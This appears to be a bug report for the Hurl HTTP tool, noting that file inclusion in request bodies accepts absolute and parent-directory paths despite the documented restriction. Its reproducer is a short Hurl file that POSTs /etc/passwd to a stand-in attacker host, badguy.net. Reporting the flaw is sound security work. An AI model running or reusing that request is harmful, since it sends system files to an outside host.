Arbitrary files can be included in body request/response

[jcamiel]

File inclusion (in request, response body etc...) should be very conservative (as written in https://hurl.dev/docs/request.html#file-body):

File are relative to the input Hurl file, and cannot contain implicit parent directory (..). You can use
--file-root option to specify the root directory of all file nodes.

In current Hurl version, any file can be included from absolute path to "escaping" path (ex ../../../secret.bin).
The following Hurl file, run without any option, should raise an error:

POST https://badguy.net
file,/etc/passwd;
HTTP/* 200